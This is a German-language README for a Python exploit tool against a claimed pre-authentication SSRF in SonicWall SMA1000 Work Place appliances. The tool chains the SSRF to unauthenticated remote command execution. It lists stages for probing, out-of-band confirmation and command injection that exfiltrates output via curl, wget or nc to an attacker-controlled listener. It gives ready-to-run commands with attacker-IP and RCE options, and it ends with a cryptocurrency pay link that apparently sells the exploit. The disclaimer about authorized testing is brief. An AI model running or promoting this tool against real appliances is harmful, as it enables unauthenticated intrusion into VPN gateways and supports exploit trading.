CVE-2026-83548 — SonicWall SMA1000 Work Place Pre-Auth-SSRF

Einzeldatei-Tool (Python 3, nur Standardbibliothek, keine Abhängigkeiten) zur Bewertung und Ausnutzung der Pre-Authentication-SSRF in der Work Place- Schnittstelle von SonicWall-SMA1000-Appliances (6210 / 7210 / 8200v), einschließlich einer opportunistischen Kette zu unauthentifizierter RCE über CVE-2026-83549.

Die Schwachstelle


CVE	CVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0
Kette	CVE-2026-83549 — OS-Command-Injection im AMC (Post-Auth), umgangen über die SSRF
Mechanismus	Die Work-Place-Schnittstelle verhält sich als unbeabsichtigter Forward-Proxy: Die Appliance leitet präparierte Anfragen an interne Ressourcen (einschließlich des AMC) unter Nutzung ihrer eigenen privilegierten Netzwerkposition weiter, wobei zu keinem Zeitpunkt eine Authentifizierung erforderlich ist
Betroffen	SMA1000 ≤ 12.4.3-03453 und ≤ 12.5.0-02835
Behoben	12.4.3-03526 / 12.5.0-02952 (SonicWall-Hinweis SNWLID-2026-0016)
Status	Aktiv in freier Wildbahn ausgenutzt; CISA KEV seit 2026-09-02; kein Workaround — nur Patchen

Was das Tool tut (Phasen)

[A] Fingerprint + Patch-Status — schreibgeschützter GET auf die Work-Place-Portal- Wurzel: Server: SMA/*-Banner, __extraweb__-Assets, Version aus Hilfe- Links; Klassifizierung gegen die behobenen Builds (PATCHED / AFFECTED / POTENTIALLY_AFFECTED / NOT_SMA1000).
[B] SSRF-Vektor-Probing — testet eine Kandidatenmenge von SSRF-Trigger- Vektoren (einschließlich des /cgi-bin/-Relay-Pfads und der Forward-Proxy- Form „absolute URI als Pfad") und bewertet Anomalien gegen eine Baseline: Statuscode-Verschiebung, Latenzdelta, neue Response-Header, Body-Delta. Vom Bediener bereitgestellte Vektoren werden über --vector akzeptiert (wiederholbar).
[C] Out-of-Band-Bestätigung — startet einen lokalen Capture-Listener und richtet den besten Vektor darauf. Eine abgefangene Anfrage (Methode/Header/weitergeleiteter User-Agent) beweist, dass die Appliance die Anfrage weitergeleitet hat — die eigentliche Schwachstelle, kein Timing-Artefakt.
[D] RCE-Kette (CVE-2026-83549) — opportunistischer Command-Injection- Versuch gegen den AMC über den bestätigten SSRF-Relay, mit Exfiltration eines Markers via curl/wget/nc. Die Bestätigung erfordert einen Out-of-Band-Capture.

Schnellstart

# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com

# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    --oob-timeout 5 vpn.example.com

# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
    --rce-cmd 'id' vpn.example.com

# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
    --vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
    -k -t 10 203.0.113.10

# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    vpn-a.example.com vpn-b.example.com

--attacker-ip — die IP, von der aus die Appliance Ihren Capture-Listener erreichen können muss (127.0.0.1 für lokale Prüfungen; eine netzwerkseitig sichtbare Adresse plus Portweiterleitung für Remote). Ohne diese Angabe errät das Tool eine lokale IP, was in Container-/VPN-Setups oft nicht funktioniert.

Exit-Codes

Code	Bedeutung
0	gepatcht / nicht betroffen
1	betroffen laut Version, oder SSRF bestätigt, oder betroffene Firmware-Linie mit unbestimmtem exaktem Build
2	unauthentifizierte RCE bestätigt (Kette erfolgreich)
3	Ziel ist kein SMA1000 Work Place Portal
4	Verbindungs-/sonstiger Fehler

Einschränkungen (bitte lesen)

Stage D ist opportunistisch: Eine Bestätigung erfordert einen Out-of-Band-Capture; dessen Fehlen ist keine Widerlegung.
OOB-Capture erfordert, dass die Appliance Ihren Listener erreichen kann (gleiches L2 / Portweiterleitung / VPN). Ein Capture-Timeout ≠ SSRF widerlegt.
Versionsurteil: Die Appliance gibt extern typischerweise nur ihre Firmware-Linie preis (z. B. 12.5.0), nicht den exakten Hotfix-Build — das häufige Ergebnis ist POTENTIALLY_AFFECTED, was eine Bestätigung des Builds auf der Appliance selbst erfordert.
Die Stages B–D senden konstruktionsbedingt Anfragen an das Ziel; verwenden Sie das Tool nur gegen Hosts, die Ihnen gehören oder für die Sie ausdrücklich eine Testgenehmigung haben.

https://satoshidisk.com/pay/CShhL9

CVE-2026-83548